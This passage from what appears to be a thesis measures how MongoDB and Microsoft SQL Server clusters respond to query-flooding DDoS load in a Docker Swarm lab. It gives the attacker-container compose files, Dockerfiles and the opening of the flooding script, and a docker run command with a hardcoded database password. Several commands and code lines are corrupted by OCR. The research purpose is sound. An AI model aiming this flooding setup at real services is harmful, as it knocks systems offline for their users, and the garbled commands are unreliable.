it possible to run multiple OS on the same machine. It runs the Guests’ operating
system’s OS and connects them to the physical hardware or provides simulated
input.

An example of a hypervisor is Hyper-V which is the hypervisor used on Windows
servers that enables users to create fully virtualized machines [25].

Virtual Machine | | Virtual Machine | | Virtual Machine

Guest Guest Guest
Operating Operating Operating
System System System

Hypervisor

Infrastructure

Figure 3.1: Overview of the environment for a virtual machine [10]

3.3 Docker

As described in 3.1 all tests were run using Docker. This section aims at describing
the foundations of Docker to lay the groundwork for describing how the tests were
set up.

Docker is a tool made to make it easy to set up and manage Docker containers. A
Docker container is a virtualized runtime environment. This is similar to a virtual
machine but with the key difference that they do not run their own operating system.
Instead they share the OS system kernel with the host system. This allows them to
demand fewer resources to host and less complexity to manage [10].

Docker containers enable developers to set up specific environments where they
can run their code independently from their current operative system and system
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settings. For instance, developers using Windows could use Docker to run programs
specific to Linux environments.

Containerized Applications

Host Operating System

Infrastructure

Figure 3.2: Overview of the environment for a Docker container [10]

An important use case of Docker is to use the ability to easily recreate environments
to allow researchers to provide reusable results in their research. As stated in [3],
much of the code done in research projects can not be reliably re-executed giving the
same results. The article says that this happens mainly because of the following four
factors: Dependencies needing updates, insufficient documentation of which depen-
dencies were used, dependencies changing behaviors in new versions and solutions
being too complicated to set up. The article continues to describe that Docker solves
all these problems since information about which dependencies where used will be
stored in the Docker image [14]. Furthermore, Docker will automatically set up the
environment with the given dependencies, making the setup process very smooth.

3.3.1 Docker Image

The containers settings are stored in a Docker image which is a template for how a
container should be set up. These images can be downloaded or created based on
a Dockerfile. The file contains all the data required to create a container. Usually,
the file will specify that the new image will be based on another simpler image and
customize it by adding dependencies settings and files [14].

The strength of this is that using an image the same environment can easily be run
on different machines. This lets developers develop code on the same environment
used in production, preventing unexpected bugs from appearing in the production
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instance. Docker also provides a version control system similar to git to make it
easy to share and simultaneously develop the files within and across teams [3].

3.3.2 Docker Container

A container is an instantiation of a Docker image and as described in section 3.3 run
on top of the host operation system making it small and resource-effective. However,
from the container’s perspective, it is hard to notice that the system is not running
its own operating system. Each container has its own file tree, its own processes
and network management.

To prevent all files included in an image from being duplicated for each container
running, only the difference from the original is stored for each container. When a
Docker image is downloaded it comes with all files needed to run that container, for
instance for an Ubuntu container all files needed to run Ubuntu would be included.
When a container is created, Docker creates a directory where its files will be stored.
This directory will not contain all files needed to run Ubuntu, but only data about
which files have been modified and what modifications were made. Combining this
data with the data from the image Docker makes it appear to the container user as
if the container has its own files [14].

3.3.3 Docker Volume

Docker volumes are a type of Resource virtualization, discussed in section 3.2. It
makes it possible to mount a virtual or non-virtual directory to a directory inside a
container. This makes it easy to let containers share storage with other containers
or with the host.

Another benefit of storing container data in a volume rather than in the container
itself is that the data is decoupled from the container’s life cycle. Therefore the data
will not be lost if a container is removed, and the data is still easily accessible if there
is a problem starting a container. For instance, if the data in a database container
is stored in a volume it is easy to reset and modify that container without worrying
about data loss. As mentioned in section 3.3.2 the directory of a container will only
store changes to the original file structure, to prevent the size of the container from
growing too much it is recommended to store data in volumes [16]

3.3.4 Docker Network

Docker Networks is another type of Resource virtualization, but here the virtualized
resource is the network. This makes it easier to connect containers and keep them
in an isolated, easy to control environment.

The virtualized networks will have different properties depending on which driver
it uses. Docker provides multiple default drivers and allows users to define custom
drivers. Some important drivers are:
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o bridge
e nat

e host

e none
o overlay

The bridge driver is best suited for multiple containers that need to be connected on
the same host machine. This driver is only accessible when running Linux containers.
The nat driver works similar to the bridge but for Windows containers, an important
thing to note about this driver is that custom-made networks with this driver are
removed at reboot for Windows Server 2019 or above [23]. The host network will
share the host’s network with the container making it a good use-case for hosts
who only hosts one container. The none bridge will make the container isolated, not
being able to connect to any network. Finally, the overlay network is used to connect
containers running on different hosts in a swarm setup to the same network [13].

Containers are by default connected to the default bridge or nat network. It can be
beneficial to connect them to a user-made network using the same driver instead.
This makes them more isolated since containers will not be added and removed
to such networks unless done on purpose. Another benefit is that for user-made
networks, containers on the same network will be added to the DNS, letting them
connect without specifying their IP addresses.

3.3.5 Docker Desktop

Docker desktop is software for Windows and Mac. The Windows version is built
using Windows Presentation Form, WPF [31]. It is created to make it easier to
overview and configure Docker containers. It allows users to browse containers,
images, volumes and networks. Furthermore is shows details for each container,
letting users easily view logs and resource consumption. The software can also be
used to start, stop and remove docker entities. Lastly, the Windows version of
Docker desktop has a feature to let users easily switch between having docker host
Linux or Windows containers [11].

3.3.6 Docker Swarm

Docker Swarm takes the concept of letting the user easily set up a virtual specific
environment one step further. Using it, the user can specify how a container should
be set up and how an entire cluster of containers should be set up, i.e. it works as
an orchestration tool.

This is done by connecting multiple docker engines by first setting them in swarm
mode using the docker swarm init command. Then they can be connected using
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the docker swarm join command. Once the network of swarm hosts is set up any
of the nodes can create services [15].

Services in a docker swarm cluster are defined as a task that will be run by one of
the nodes. A task is in turn defined by a Docker image and a command used to
run it. Services can be created using the docker swarm create command or by
using a Docker compose file. A docker compose file is a yml file that specifies which
services should be created on a Docker swarm cluster [9]. Below is an example of a
Docker compose file from [9)].

version: "3.9" # optional since v1.27.0
services:
web:
build:
ports:
- "5000:5000"
volumes:
- .:/code
- logvolumeO1l:/var/log
links:
- redis
redis:
image: redis
volumes:
logvolumeO1l: {}

Using a Docker compose file its specified services can be launched using the docker
stack deploy command with the composefile flag.

Using Docker swarm makes it easy to scale up or down since the number of instances
of each service can be specified in the compose file. Docker swarm will also restart
containers if they fail by default, making it easier to keep the cluster up and running.

3.4 SNIC Science Cloud

SNIC, Swedish National Infrastructure for Computing, has been used to run the
large-scale tests. It is a research infrastructure providing computational resources
for research done by Swedish universities and research institutes. The goal of SNIC is
to allow researchers to perform large-scale computations and test large-scale systems
cost-efficiently. To accomplice this they provide multiple services allowing users to
store a variety of data and perform computational tasks of various kinds.

One of their services is the science cloud. This allows the user to set up multiple
virtual machines, storage volumes and networks within their cluster. The resources
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are accessed by ssh and can be modified through the science clouds web interface.[45]

3.5 Hardware

The tests has been run on a ProLiant MicroServer Gen 10 Plus [17]. It is
equipped with an Intel® Xeon® E-2224 Processor [22] with a Processor Base
Frequency of 3.41 GHz and four cores. The server has 16GB of RAM and is running
the Windows Server 2019 operation system [30]. The virtual machine hosting the
small-scale experiment set up will access three of the cores and 10GB of RAM.

3.6 Test setup

Each test is set up by the database to be tested in one or more docker containers
depending on how many nodes it should be run on. Then data from Guardtools
is inserted into the databases. Once the data is inserted it is time to run the
attack. The DDoS attack is constructed of a varied number of docker containers
running a Python script sending as many expensive queries to the database under
test as possible. This is implemented by a Docker Swarm setup that simultaneously
starts the given number of containers that run the Python script and send requests
to the database. The results will be measured from a computer outside of the test
environment. The measurement is done by a script simulating a regular user sending
easy to execute queries. The purpose of this is to measure when the databases are
available without affecting their performance too much. The measurement scripts
will measure response times roughly once each second and store the data in a CSV
file that will be used to analyze the data.

This setup has as stated in section 3.1 been implemented on both the single server
described in section 3.5 and on the SNIC Science Cloud. Both setups have been
done analogously but with two differences. The first is that while everything is
constrained to be hosted on the same machine in the case when the tests are run on
the single server, the components are spread out over ten nodes in the SNIC Science
Cloud tests. This makes the tests more realistic. The other difference is that the
single server setup uses Windows while the nodes in the Science Cloud will run the
Linux distribution Ubuntu, making some of the setup steps slightly different.
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Figure 3.3: An overview of the single server test setup.
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Figure 3.4: An overview of the SNIC Science Cloud setup.

The following sections will describe the details of how the systems were set up to
run the scenario above.
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3.7 Docker setup

To set up Docker for the large-scale test Docker simply had to be installed on all
worker nodes without any extra configurations. For the single server test a couple
of configurations has to be made due to the more complex nature of hosting the
whole test setup on one machine. To enable Docker to run on the machine used for
the single server test described in section 3.5 the server has been set up to allow
the creation of virtual machines. Furthermore, in this project, the Hyper-V virtual
machines will not be created directly on the host machine but rather on a virtual
machine running on the host. This creates one more layer of complexity since a
virtual machine will create more virtual machines itself. To make this possible in
Hyper-V the virtual machine that will host the docker containers has been set up
to Enable nested virtualization. Finally, after Docker was installed it had to be
configured to run Linux containers.

Once Docker was set up Docker Swarm was installed on all machines. The worker
nodes for the large-scale test were divided into two swarms, one for the databases
and one for the attackers. The virtual machine running the single server test was
added to its own swarm.

3.8 Extract Guardtools data

The data used was extracted from one of Guardtools’ backup databases which were
using Microsoft SQL studio. To extract data for the Microsoft SQL Server container
the backup database function Microsoft SQL Server Management Studio was used.
This stores an entire database in a backup file that can be read by another instance
of a Microsoft SQL Server. The figure below shows how the file is generated.

Object Explorer
Connect~ ¥ ¥

= 1 Databases
& 1 System Databases

Conterts

=

Figure 3.5: The steps of generating a backup in Microsoft SQL Server Management
Studio.

However, this backup can not be used by the MongoDB cluster. The data that
the cluster will use was therefore extracted using the result of a query selecting all
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entries in the requested table. This was done by using the feature in Microsoft SQL
Server Management Studio that lets the user copy the query result in CSV format
as shown in figure F.3.

/ "* Script for SelectTopNRows command from SSMS J
SELECT * FROM [GuardToocls-Dewvelop].[dbo].[AwarenessActivity]

100% -
EE Resuls BB Messages

g Devicekey Create
41 m] Copy Ctrl+C 020-
Al Copy with Headers Ctrl+Shift+C 20
41 R Select All Ctrl+A 20214
4 20204

Save Results As...

4] 20204
& B Page Setup... 2020
af = Print.. Ctrl+P ~ 20214

RN MAFOrIIA DOON ANOC AADD CrDNOCDRCTOC W Nt VB MV =i (VA Rl D WY

Figure 3.6: Copying query results in CSV format

For the test cases when more data is required than what is present in Guardtools
database the original data has been duplicated. The duplication has been done by a
Python script present in the Appendix. The script will duplicate entities by copying
all values except for the ID which will be generated.

3.9 Microsoft SQL server setup

For the tests run on the single server, one Microsoft SQL server instance was used.
While the tests on SSC used two instances connected using an availability group.
This made the process of setting up the systems distinct enough to make it hard to
describe the process of setting them up together. It has therefore been divided into
the two sections below.

3.9.1 Single server setup

This database will run on a Linux docker container since Microsoft only provides
Microsoft SQL Server docker images for Linux. The image used was
mer.microsoft.com/mssql/server:2019-CU12-ubuntu-20.04 [24]. To run the image
the following command was used.

docker run °

--memory="2g" °

-c 300 °

--memory-swap="0b" °

-e "ACCEPT_EULA=Y" -e "SA_PASSWORD=P@ssword12345" °
-p 1433:1433 °

--name sql2 -h sql2 °
mcr.microsoft.com/mssql/server:2019-CU12-ubuntu-20.04
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This creates a container from the image mer.microsoft.com/mssql/server:2019-CU12-
ubuntu-20.04, giving it 2GB in memory, 50 cpu-shares and memory swapping is dis-
abled. It sets two environment variables, one that accepts license agreement and one
that sets the password of the sa user. Lastly, it maps the 1433 port of the container
to the 1433 port of the host virtual machine. This makes it possible to access the
database by sending requests to this port of the host machine.

The data was imported using Microsoft SQL Server Management Studios restore
feature using the backup file generated in section F.4. However, the backup file has
to be placed inside the container for Microsoft SQL Server Management Studio to
access it.

Once this is done, a Microsoft SQL Server Management Studio instance can connect
to the database for any computer that can access the same network as the container.
Then the database restore can be done as shown in figure F .4

Object Explorer v B x
Connect~ ¥ ¥ = ¥ ¢ &
= W 192.168.0.105, 1433 (SQL Server 15.0.4153.1 - 53)

New Database...

HE®

Attach...

Restore Database...

Restore Files and Filegroups...

rrrrrr

Filter

HEEEHEE

Deploy Data-tier Application...

5]
[ S

Import Data-tier Application... I  GuardTook: Develop Ful Database Backup  Database  Full (Copy Ony)  BMSGBG: +5ALOT\SQLOT  GuardTools-Develop
Start PowerShell

Reports

Refresh

Ve Backup Meda

oK Cancel

Figure 3.7: The steps of restore a database from a backup file in Microsoft SQL
Server Management Studio.

3.9.2 SNIC Science Cloud setup

To automate the process of setting up the database a custom Docker image was
created. This image will be based on the same image as the one used above in
section F.5.1. The image will change two configuration values of the Microsoft SQL
server to enable availability groups. It will also run a setup script that will run SQL
queries to connect containers of this image in availability groups. The image and
associated scripts are available in the Appendix.

To set up the database instances Docker swarm was used. The same settings as for
the single server setup have been used and will therefore not be covered in detail here.
The complete compose file is available with the code for the image in the Appendix.
One step worth noting about running the custom image on Docker swarm is that
all swarm nodes have to have the image locally, this can be time-consuming and
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cause unintended errors. To make the process of keeping all nodes up to date with
the latest version of the image, it was posted to Dockerhub, where all nodes could
access it.

Inserting data into the database was done using the same steps as for the single
server setup, but now only on the primary node. The data is then propagated to
the secondary node through the availability group connection.

3.10 MongoDB setup

For the single server test the MongoDB database was set up with three nodes which
is a common number for a generic MongoDB database [37]. For the tests on the
SNIC Science Cloud two nodes were used to match the constraint on the Microsoft
SQL Server. In both cases all nodes were part of the same replica set making
them share the same data. For the single server tests the docker containers hosting
each node were chosen to be run using Windows images to better fit the Windows
operation system of the host machine.

3.10.1 Setup MongoDB containers

Setting up the desired cluster can be done with or without Docker swarm. For
simplicity, the setup was done with only docker commands for the single server tests
while Docker swarm was used for the SNIC Science Cloud tests.

The text below will describe how the setup was done on the single server environ-
ment. The setup done using Docker swarm is analogous and will not be discussed
in detail here. The Docker compose file is however present in the Appendix.

The setup was done by creating a Docker network called mongo-cluster and down-
loading an image containing MongoDB, the image chosen was mongo:windowsservercore [34].
Using this the three docker containers can be created and started with the following
command.

docker run °
-p 30001:27017 °
--name mongol °
--net mongo-cluster
-c¢ 100 ~
--memory-swap="0b" ~
mongo mongod --bind_ip_all --replSet my-mongo-set

~

docker run °
-p 30002:27017 °
—--name mongo2 °
--net mongo-cluster °
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-c 100 °
--memory-swap="0b" ~
mongo mongod --bind_ip_all --replSet my-mongo-set

docker run °
-p 30003:27017 °
—--name mongo3 °
--net mongo-cluster °
-c¢ 100 °
--memory-swap="0b" °
mongo mongod --bind_ip_all --replSet my-mongo-set

This creates three containers called mongol, mongo2 and mongo3. Each is connected
to the mongo-cluster network created above. The 27017 port of the containers has
been bound to 30001, 30002 and 30003 of the hosting virtual machine allowing us to
connect to the nodes through these ports. Each container is given 100 CPU shares
and memory-swapping is disabled. Finally, the containers are specified to start-up
running the mongod command with two parameters. The bind_ip all parameter
specifies that all ports of the container should be connected to the database running
on that container. The replSet is used to specify that each MongoDB instance should
be connected to the same replica set, my-mongo-set.

3.10.2 Initiate replica set

The next step is to start up each container and connect them using the replica set my-
mongo-set. The replica set will be set up such that the monogl container will be the
primary node while the mongo2 and mongo3 containers will be secondary. However,
the cluster will change this automatically if the primary nodes stop responding for
a period of time. To set up this, each node has to be connected to and configured.

To initiate the replica set the IP of the node that will initiate the set has to be
known. The MongoDB nodes are connected to the Docker network mongo-cluster
and will use it to communicate. Therefore we need the nodes’ IP addresses on this
network. With these we can use MongoDB Shell [35] to run commands connecting
the nodes.

One easy way to import data into a MongoDB cluster is to use the mongoimport
tool [36]. With this setup data placed in a CSV file can be inserted into the replica
set.

3.11 DDoS attack

As mentioned in section 3.6 the attack is performed by launching multiple docker
containers running Python scripts sending as many queries to the database under
test as possible. Since the two databases cannot be interacted with using the same
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code two similar scripts have been created. Both scripts execute the same queries
but are translated to the query language that the target database can process.

3.11.1 Attack scripts

Both scripts send requests on all available threads. This is made possible using the
Python package Multiprocessing. This is done by first counting the total number
of threads available to the script and then creating a Pool of the given amount of
threads. Then a function making requests to the database is called on each thread
in the pool.

The Microsoft SQL Server attack script was created using the package Pyodbc.
Using this a connection to a Microsoft SQL Server from a windows machine can be
made by specifying the driver, IP address of the server, database name and user
credentials. For the Windows server the SQL Server driver was used while FreeTDS
was used on the Linux machines. With a successful connection queries can be run
on the database. The full script used in the attack is provided in the Appendix.

The MongoDB attack script uses the package Pymongo. With this package the
database connection is made by inserting the IP and login credentials to the Mon-
goClient class provided in the package. With an instance of this class queries are
made. Just as for the Microsoft SQL Server, the script used in the attack is provided
in the Appendix.

3.11.2 Attack docker container

To make the attack easy to manage and scale Docker images were created to host
and run the attack. Using this image multiple containers can run the attack script
at once making the attack distributed.

Two images were created, one for Windows and one for Linux. This was done be-
cause the MongoDB cluster runs on Windows containers and the Microsoft SQL
Server runs on a Linux container. Furthermore, since Docker doesn’t allow manag-
ing containers for different operating systems simultaneously, using a single attack
image would cause some cumbersome work and potentially cause many unexpected
problems.

The images were set up using Dockerfiles. The Windows image was created using
the docker file

FROM python:3.9.6-windowsservercore-1809
RUN mkdir script

# install PyMongo
RUN python -m pip install --upgrade pip
RUN python -m pip install PyMongo
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CMD [ "powershell" ]

The image uses a Python for Windows server image as the base, adds a script folder
where a volume will be mounted and lastly, installs the PyMongo.

The Linux image demands more work. Its docker file is provided below.

FROM python:3.7-slim

# install FreeTDS and dependencies

RUN apt-get update \

&& apt-get install unixodbc -y \

&& apt-get install unixodbc-dev -y \

&& apt-get install freetds-dev -y \

&% apt-get install freetds-bin -y \

&& apt-get install tdsodbc -y \

&4 apt-get install --reinstall build-essential -y

# populate "ocbcinst.ini"

RUN echo "[FreeTDS]\n\

Description = FreeTDS unix0DBC Driver\n\

Driver = /usr/lib/x86_64-1linux-gnu/odbc/libtdsodbc.so\n\

Setup = /usr/1lib/x86_64-1linux-gnu/odbc/libtdsS.so" >>
/etc/odbcinst.ini

COPY .

# install pyodbc

RUN python -m pip install --upgrade pip
RUN python -m pip install pyodbc

CMD [ "bash" ]

For it to communicate with the Microsoft SQL database, it needs the FreeTDS
driver, which is installed using the apt-get commands and configured using a file in
the etc folder named odbcinst.ini. Instead of giving the image access to the attack
script using a volume the attack script is placed in the root directory using the
COPY command. Finally, the pyodbc is installed.

3.11.3 Attack swarm setup

The swarm setup is specified in docker-compose files. This makes it easy to change
the number of attackers as well as change their properties. However, one complica-
tion arising from using Docker swarm is that the containers cannot be connected to
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normal docker networks anymore, only overlay networks. Therefore, the first step
is to set up these networks for the attack. One was created for the attack on the
MongoDB cluster and one for the attack on Microsoft SQL Server. To allow the
attacker containers to reach the databases, the database containers must also be
added to these networks.

Once the networks are set up, the compose files can be created. The file creating
the attackers targeting the MongoDB cluster is provided below.

services:
attackerl:
image: "ddos:latest"
hostname: ddosl
deploy:
replicas: 3
volumes:
- C:\ddos:C:\script
entrypoint: ["python", "script/mongo.py", "mongol:27017"]
attacker2:
image: "ddos:latest"
hostname: ddos2
restart: "no"
deploy:
replicas: 3
volumes:
- C:\ddos:C:\script
entrypoint: ["python", "script/mongo.py", "mongo2:27017"]
attacker3:
image: "ddos:latest"
hostname: ddos3
restart: "no"
deploy:
replicas: 3
volumes:
- C:\ddos:C:\scripts
entrypoint: ["python", "script/mongo.py", "mongo3:27017"]

networks:
default:
external: true
name: mongo-overlay

The file specifies that three slightly different variations of the attack should be
created. Each variation targets a specific node in the cluster, regulated by changing
the input argument to the python script. In the deploy section the number of
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each replica is set to three but will be modified in different test scenarios. The
choice to have the same number of attackers on each node was made to simulate
the real-world scenario when a load-balancer usually makes sure that each node gets
roughly the same amount of requests. The volumes section makes docker mount
the content of the C:\ddos to the script folders in the attacker container. Then
the entrypoint parameter specifies that the container should be started by running
the python script mongo.py in the mounted folder. Lastly, the compose file specifies
that the containers should be connected to the above-created external mongo-overlay
network.

The compose file for the Microsoft SQL Server attack is simpler since only one attack
variation is needed. Furthermore, the attack script is included in the ddos_ linux
image removing the need of mounting a volume. The compos file is provided below
and works analogously to the other one.

services:
attackeril:
image: "ddos_linux:latest"
hostname: ddos2
deploy:
replicas: 9
entrypoint: ["python", "mssql.py", "sql2, 1433", "FreeTDS", "0"]

networks:
default:
external: true
name: mssql-overlay

Using these files attacks can be started using the docker stack deploy command.

3.12 Measurement

The performance of the databases under attack is measured by a script sending a
simple query every second and storing the response time in a CSV file. The data in
the file is used to create the plots using an R script.

Just as for the attack scripts, the measurement scripts are created in two versions.
One measures each database. They use the same techniques as those described in
section F.7.2 and therefore the details will not be explained here. The scripts are
provided in the Appendix.

The simple query used fetches an entry based on its Id.
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Results

The results below are grouped by tests that were run on the Single server setup and
on the Science Cloud.

4.1 Single server setup

4.1.1 Response times before attacks

Before the attacks were run on the databases the response times were measured. The
mean response time for MongoDB was 0.0678 seconds, while it was 0.0597 seconds
for the Microsoft SQL Server. The measured times for the MongoDB database are
presented in figure 4.1 and the times for the Microsoft SQL database are presented
figure 4.2. In the graphs it can be seen that the response times have relatively low
variance except for a few outliers.

Response times
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Figure 4.1: Response times for the MongoDB cluster when idle.
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Figure 4.2: Response times for the Microsoft SQL server when idle.

4.1.2 Response times during attacks

The response times for the MongoDB cluster during an attack of 10 attackers sending
roughly 400 requests per second is presented in figure 4.3. The measured times spike
with a value of 3.63 after around 20 seconds, before they stabilize around at around
1 second after about 30 seconds. The spike probably occurs due to some data being
cached making later requests being processed faster.

The results for the Microsoft SQL Server during an attack of the same strength
are presented in figure 4.4. In this case the response times are relatively low for
the first 30 seconds. After this the measured times continuously increase they are
above 8 seconds after 50 seconds. A response time this long is enough to make many
applications time out, resulting in the database being unusable.

These results are somewhat compromised by having both the database and multiple
attacks run on the same server. This cripples the resources both of the database and
the attackers. Because of this the results in this section will have a lesser influence
on the conclusion of the thesis.
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Figure 4.3: Response times for the MongoDB cluster when attacked by 10 attack-
ers.
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Figure 4.4: Response times for the Microsoft SQL database when attacked by 10
attackers.

4.2 SNIC Science Cloud setup

Below are the response times for the tests run against the SNIC Science Cloud setup.
Measurements have been done for both a stronger attack of approximately 10000
requests per second and a weaker with approximately 5000 requests per second. To
have a base case to compare against, measurements have also been done for idle
clusters.

These three test cases have been performed on three different database setups. One
with a MongoDB cluster without any indices, one with a MongoDB database with
an index on the id property and one with a Microsoft SQL server high availability

group.

Finally for each combination of test case and database setup the data size has been
varied, allowing us to measure how the observed properties change with data size.
The data sizes are shown as large, medium and small in the graphs below. The
small amount equals 30000 entries, this is close to the amount that is present in the
Guardtools database. The medium equals 150000 entries, 5 times as many, and the
large amount equals 300000 entries, 10 times as many as the original data set.
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4.2.1 Response time for idle databases

The graphs below show that the MongoDB cluster without indices has the slowest
response times. The mean response times for this test case are shown in table 4.1. In
both the able and the graph it can be seen that the response time increases linearly
with data size.

In the two other cases the response times are constant in regards to data size, as
can be seen clearly in table 4.1. Of these two the MongoDB responds to requests
about twice as fast as the Microsoft SQL servers.

Small Medium Large
MongoDB without index | 0.30 0.44 0.62
MongoDB with index 0.12 0.12 0.13
Microsoft SQL server 0.25 0.27 0.27

Table 4.1: Mean response times for idle databases.
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Figure 4.5: Response times for the MongoDB cluster without index when idle.
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Figure 4.6: Response times for the MongoDB cluster with index when idle.
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Figure 4.7: Response times for the Microsoft SQL server cluster when idle.
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4.2.2 Response time for weak attack

The results displayed in figure 4.8 show that the response times for the MongoDB
cluster without indices are severely slower than the other setups. Just as for the idle
case, the response times increase with the data size. This time the response times
grow even quicker than the linear growth observed for the idle measurements done
in section 4.2.1.

As can be seen in figures 4.9 and 4.10 both the MongoDB cluster with indices and
the Microsoft SQL cluster have their longest response times just when the attack
has started and then quickly transitions to respond without much delay. Table 4.2
shows the overall mean response times over the attack. However, these values are
skewed by the large spike at the beginning of the attack. To also give a picture
of the response times after the spike table 4.3 provides mean values for the last 30
seconds of the attack when the spike has passed. The table shows that the response
times are generally lower but not as low as for an idle database. We can also see
that the response times for the MongoDB without indices are relatively constant
through the attack.

Table 4.2: Mean response times for weak attack.

Small Medium Large

MongoDB without index | 1.4 16 61
MongoDB with index 0.46 1.5 1.6
Microsoft SQL server 0.76 1.2 2.8

Table 4.3: Mean response times for weak attack from 30 to 60 seconds.

Small Medium Large

MongoDB without index | 1.6 16 65
MongoDB with index 0.41 0.71 0.82
Microsoft SQL server 0.48 0.50 1.8

45



4. Results

Response times for weak attack on MognoDB without index
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Figure 4.8: Response times for the MongoDB cluster without index under a weak
attack.
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Response times for weak attack on MognoDB with index
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Figure 4.9: Response times for the MongoDB cluster with index under a weak
attack.
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Figure 4.10: Response times for the Microsoft SQL cluster under a weak attack.
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4. Results

4.2.3 Response time for strong attack

Figure 4.11 shows that results for the MongoDB cluster without indices are similar
to the other two test cases. This time these response times have a small spike at
the beginning of the attack before it decreases slightly.

The results of the MongoDB cluster with indices are also similar to the ones from the
weaker attack but amplified. However the results for the Microsoft SQL servers are
different. The cluster handles the small data set without much delay but struggles
to keep up with the attack when the data size is increased. For the medium data
size, the response times are heavily increased the first 40 seconds of the attack before
the database reaches a state where it can withstand the load. Furthermore, under
the initial 40 seconds 35% of measurement requests were not answered. For the
large data size, none of the sent measurement requests were answered. Just as for
the weak attack the mean response times for the later part of the attack have been
calculated and are shown in table 4.5.

Table 4.4: Mean response times for a stronger attack.

Small Medium Large
MongoDB without index | 9.4 41 96
MongoDB with index 3.2 3.8 3.9
Microsoft SQL server 0.25 11 inf

Table 4.5: Mean response times for a stronger attack from 30 to 60 seconds.

Small Medium Large
MongoDB without index | 6.6 41 97
MongoDB with index 0.65 0.48 1.1
Microsoft SQL server 0.25 0.59 inf
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4. Results

Response times for attack MognoDB without index
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Figure 4.11: Response times for the MongoDB cluster without index under a
strong attack.
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4. Results

Response times for attack on MognoDB with index
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Figure 4.12: Response times for the MongoDB cluster with index under a strong
attack.
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Figure 4.13: Response times for the Microsoft SQL cluster under a strong attack.
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4.3 Discussion

One trend present in all results is that the MongoDB without index is performing
severely worse than the other setups. The result suggests that its response times
increase with O(n) where n is the size of the data, rather than O(1) as for the other
setup. This result is expected since the measurement request is requesting one entry
from the database using its id. Without an index on the id property, all entries of
the database have to be traversed to find the requested data point. Instead while
using an index, the data point will be found using a hashing function. If the used
hashing function is perfect the response times would truly be O(1), this is however
not possible in reality making the response times increase slightly for larger amounts
of data. This pattern is particularly clear when measuring idle databases since no
other parameters are affecting the results.

Another phenomenon present in many of the test results is a large spike at the
beginning of each attack. This likely happens due to the database caching the data
used by the attack and measurement queries. Once the data has been cached the
database will have to perform less work to respond to queries. This heavily decreased
response times, causing the observed spike shapes in the graphs.

For the tests on idle databases on finding was that the MongoDB database with
index responded more than twice as fast then the Microsoft SQL database for all
data set sizes. This was not expected since we thought that Microsoft SQL should be
optimized to work for smaller data set and perform better under an easier workload.
This has shown not to be the case for the scenarios tested in this project as it
performs worse even for the small data set. One possible explanation is that the
High availability group somehow decreases the databases’ read speed, this is however
unlikely since the database has been configured to allow asynchronous reads. A more
probable explanation is that there is less overhead included in the MongoDB query.
When queried for the entry, the MongoDB database only has to find it and retrieve
it, which should be fast using the index. The Microsoft SQL server will on the other
hand have to lock the database while fetching the entry, ensuring that the value is
not modified.

Another finding worth discussing is how the database management systems behaved
under the high workload of the attacks. For the weaker attack the Microsoft SQL
server was the most stable. After the initial spike the response times had relatively
low variance. For the strong attack, while the received response times were still low,
many requests were lost. For the large data set the database did not respond to
any measurement requests under the attack. On the other hand, both MongoDB
setups were responding through the whole attack, even the on without indices. This
difference in results is somewhat surprising since all setups are provided the same
amount of resources. One explanation for this could be that as Microsoft points out
in [26] Microsoft SQL server is not built for working as a distributed database but
makes it possible to use it this way regardless. Being built for something else could
of course cause a decrease in performance.
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4. Results

Regarding the fact that the Microsoft SQL Server did not respond to measurement
queries for the stronger attack on the larger data set, one possible explanation for this
is that the data set did not fit in the remaining available memory. An explanation to
why this did not happen to the MongoDB could be that MongoDB does not require
much RAM to run while a Microsoft SQL Server instance requires at least 2GB. The
fact that the software itself consumes this amount of memory could cause problems
when the memory is needed elsewhere during the attack, eventually resulting in there
not being enough memory to keep track of incoming queries as well as responding
to present ones.

52



O

Conclusion

Below we will summarize the findings of this project as well as give directions for
possible further research.

5.1 Future work

One limitation of this project has been that both the attacks and measurements
have been done using only read queries. Testing for write, update and delete queries
as well would give a better overview of the database’s performance.

Another constraint of the project has been the size of the databases as well as the
attacks. This has been the case since the types of tests done in this project are very
demanding on the infrastructure running them. This has made it challenging to run
tests at a larger scale. Furthermore too large tests might be bottle-necked by the
network connecting nodes rather than the database’s performance. However, in a
real work use case both the attack and at least the MongoDB database could be
heavily scaled up. Therefore it would prove much value to see how the databases
handle larger attacks and to measure what happens when the databases are scaled

up.

Lastly, it would be interesting to compare with other database management sys-
tems. As stated in the theory section there exists a variety of software solutions
for managing data. Many of these are optimized for specific use-cases. It would be
interesting to explore how some of these compare to MongoDB and Microsoft SQL
Server. It would be especially interesting to compare these to a NewSQL database
management system since it is inherently different from the systems tested.
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5. Conclusion

5.2 Conclusion

This thesis has mainly explored how Microsoft SQL Server and MongoDB perform
during DDoS attacks under different circumstances. The project aimed to measure
how the databases perform during an attack both when the strength of the attack
varies as well as when the size of the data set is used.

The results show that Microsoft SQL server is the most stable with a small variance
in response times for smaller data sets, tested with a data set of 30,000 entries.
For this size, it also had the by far fastest response times for the small data size
under a larger attack, with around 10,000 requests per second. When the data size
increased the Microsoft SQL server started to perform worse and worse. For the
stronger attack with 10,000 requests per second the database stopped responding
to 35% for a data size of 15,000 entries, when the data size was further increased to
300,000 entries no requests were responded to during the attack.

The MongoDB database was less stable in terms of the variance of the response
times, the response time means were however lower in most cases. This database
did not fail to respond to queries in any of the tests. Even for the tests when it was
run without indices, putting a large load on the database. The results also show
the large importance of having indices on data fields frequently used as the tests on
MongoDB without indices performed much worse than the other setups.

Another finding worth highlighting is that the MongoDB with indices performed
very well for answering simple queries while not being attacked, the results indicate
that this holds for most data sizes. This shows if data is given correct indices and is
denormalized appropriately it can deliver better performance than Microsoft SQL
Server.

We hope that the combined findings in this project can be valuable data points in
the decisions of deciding when and if it is worth the effort to change from a Microsoft
SQL Server to a MongoDB database. We also believe that the results could prove
valuable insights for other use cases when considering changing between a relational
database and a NoSQL database and in particular a document database.
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Attack code

Here the code used to run the attacks are provided. The first code section is the
attack code for the MongoDb database, while the second is for the Microsoft SQL
database.

from pymongo import MongoClient
import sys

from multiprocessing import Pool
import multiprocessing as mp
import time

import datetime

import random

class Mongo:
request_counter = 0
last_print_time = time.time()
name = IIOII
threads = mp.cpu_count() - 1

@staticmethod
def attack(attack_ip, num_threads):
Mongo.threads = num_threads
print ("Number of threads: " + Mongo.threads.__str__Q))
Mongo.print_log("Number of threads: " + Mongo.threads.__str__Q))
if Mongo.threads < 1:
Mongo .expensive_queries(attack_ip, 1)
return
pool = Pool(Mongo.threads)
for i in range(Mongo.threads):
pool.apply_async(Mongo.expensive_queries, args=(attack_ip, i))
pool.close()
pool.join()

Ostaticmethod
